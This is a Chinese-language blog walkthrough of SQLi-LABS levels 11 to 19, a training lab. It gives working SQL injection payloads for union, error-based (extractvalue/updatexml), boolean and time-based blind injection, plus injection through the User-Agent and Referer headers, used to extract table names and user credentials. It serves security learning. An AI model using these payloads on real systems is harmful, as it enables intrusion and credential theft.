SQLi-LABS的Less11-20分析

本文详细描述了在Less系列文章中的Web应用安全测试过程,涉及union注入、报错注入以及不同类型的盲注方法,如基于布尔、时间和报错的盲注,展示了如何利用这些技术进行数据库、表名、字段和数据的泄露。
摘要由CSDN通过智能技术生成

在Less1-7文章可发现,常见的在url输入

'

')

'))

''

'')

''))

用来尝试发现注入点,那么在Less11我们看看界面为这样

发现这跟Less1-7不一样,出现username,password还有提交submit,那么按照less1-7的经验在url输入?id=1或者?id=1'会怎么样呢,那么试一下看看发生什么

似乎并没有什么变化反应,那么在username,password输入1或者1'之类的看看会怎么样,那么借助burpsuite工具用来观察

这说登录失败,那么试试输入1'呢

那么这发现报错了,那么这可能会有注入点

那么这在username,password两文本框输入了1'那么只在username或者password输入1'另外一个为空会怎样呢

还是报错那么猜测一下这源代码的语句为

select username, password from 某表 where username='用户输入' and password='用户输入' limit 0,1

那么输入1'就报错了,不过这样就可利用这来报错注入

select username, password from 某表 where username='1’' and password=' ' limit 0,1

那么根据Less1-7的文章,我们这来看看回显位有几列,发现order by 2这个情况登陆失败

这#代表注释,也可用--+,就看想用哪个了

那么oder by 3的时候发现报错了,可知这回显列为2列

根据Less1-7的文章,那么爆数据库

 uname=-1' union select 1,database()#&passwd=1&submit=Submit

爆表名

 uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=1&submit=Submit

爆字段、uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

爆数据

 uname=-1' union select 1,group_concat(username,password) from users #&passwd=&submit=Submit

好啦那这篇Less11就通过了

Less12

那么有了Less11的经验,我们试着在username输入1或者1'或者1')或者1'))或者1"或者1")或者1"))那么password为空

发现输入1"或者1")或者1"))的时候会报错,分别像这样

根据提示猜测输入1"的时候注入成功,那么我们输入1" order by 2#或者1") order by 2#或者1")) order by 2#发现输入1") order by 2#为登录失败却没有报错,输入起他的会报错,那么猜测注入1")的时候注入成功而不是1" 那么将2改为3发现果然如此

爆数据库

 uname=-1") union select 1,database()#&passwd=&submit=Submit

爆表名

 uname=-1") union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit

爆字段

 uname=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=&submit=Submit

爆数据

uname=-1") union select 1,group_concat(username,password) from users#&passwd=&submit=Submit

Less13

试试在username输入1或者1'或者1')或者1'))或者1"或者1")或者1"))那么password为空,发现输入1'或者1')或者1'))的时候会报错,那么通过Less12文章的order by命令发现输入1')的时候是能注入的,不过爆数据库uname=-1') union select 1,database()#&passwd=&submit=Submit的情况和Less12不一样,虽然登录成功却没显示

那么可知union注入是不会显示了,那得换别的方式,什么是盲注?盲注就是在注入过程中,数据不能回显示至前端页面,盲注大致分为三类:

1、基于布尔的盲注-逻辑判断 ascii,left

2、基于时间的盲注-延时判断 if,sleep

3、基于报错的盲注-报错回显 updatexml,extractvalue

那么想让数据显示前端尝试下extractvalue来报错注入吧

爆库

uname=1') and extractvalue(1,concat(0x7e,(select database())))#&passwd=&submit=Submit

//1,concat的1并无实际含义,作为无效xml文档参数导致extractvalue()函数解析xml文档发生错误,这样就好用来报错注入,那么concat()的作用为将字符串参数拼接,比如将十六进制字符串0x7e对应的ascii字符为~,另一个是(select database())的结果将这两个拼接在一起

爆表

 uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#&passwd=&submit=Submit

爆字段

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#&passwd=&submit=Submit

//没username,password对吧,那么加个right(),32)看看怎么样

uname=1') and extractvalue(1,right(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),32))#&passwd=&submit=Submit

//右侧末32字符

爆数据

uname=1') and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))#&passwd=&submit=Submit

//然后可将32修改为其它想要修改的数字

Less14

步骤和Less13一样,只是注入点由')变为"

举个例子爆表名为这样

uname=1" union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit

Less15

发现输入或者1'或者1')或者1'))或者1"或者1")或者1"))没反应,那么根据做题的经验,可能是union注入和报错注入不管用了,那么试试时间盲注或者布尔盲注吧

uname=1 and sleep(5)#&passwd=&submit=Submit

uname=1' and sleep(5)#&passwd=&submit=Submit

uname=1" and sleep(5)#&passwd=&submit=Submit

发现输入这些还有1')或者1'))或者1")或者1"))没一个有延时反应或者登录成功的,跟?id=1 and sleep(5)不一样,也许username,password的id都一样造成条件为false,不过不知道注入点怎么办,那再试试“万能语句”看看,构成一个or函数让两边条件都为true

uname=1 or 1=1#&passwd=&submit=Submit

uname=1' or 1=1#&passwd=&submit=Submit

发现注入点为'的时候登录成功

试试布尔盲注吧

uname=1' or left(database(),1)>'a' -- #&passwd=1&passwd=&submit=Submit 返回正确

uname=1' or left(database(),1)>'s' -- #&passwd=1&passwd=&submit=Submit 返回错误

uname=1' or left(database(),1)='s' -- #&passwd=1&passwd=&submit=Submit 返回正确

布尔注入

表名:1' or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())>0 #
列名长度:1' or (select length(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
表名长度:1' or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>0 #
列名:1' or (select ascii(substr((group_concat(column_name)),1,1)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
数据长度:1' or (select length(group_concat(username,0x3a,password)) from users)>0 #
数据:1' or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)>0 #

Less16

过程与Less15一样,只是注入点用了")

Less17

试试在username那union注入还有extractvalue报错注入显示为

显然传统的方法不管用了,发现页面显示为[PASSEORD RESET] Dhakkan那么尝试将uname写为Dhakkan然后尝试下union注入发现会语法错误,那么再试试extractvalue报错注入,注入点为'

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x7e,(select database())))#&submit=Submit

那么这个成功爆出库名了

爆表名

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#&submit=Submit

爆数据

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),1)#&submit=Submit

不过这个错误了,也许是有什么限制,并未解决

查阅信息后可用concat_ws函数,和concat()一样,将多个字符串连接成一个字符串,但是可以一次指定分隔符,利用一个查询从另一个查询中取出数据,以此绕过表的限制

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

修改limit的数字可取出别的行的查询结果

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit

Less18

输入1或者1'或者1')或者1'))或者1"或者1")或者1"))之类的登录失败

那么试试uname=admin&passwd=admin&submit=Submit看看会不会有什么提示

猜测user-agent会不会有注入点

输入'或者’#的时候会报错,输入''的时候没报错,也许成功了

那么试试updatexml报错注入语句,使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,试试用or来连接

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

爆表名

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

爆字段名

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

然后按照Less17爆数据

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

Less19

输入1或者1'或者1')或者1'))或者1"或者1")或者1"))之类的登录失败,那么尝试两文本框输入admin看看会不会有提示发现了refer提示,refer输入''闭合成功

步骤和Less17差不多

Referer: ' OR extractvalue(1,concat("!",database())) OR '

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值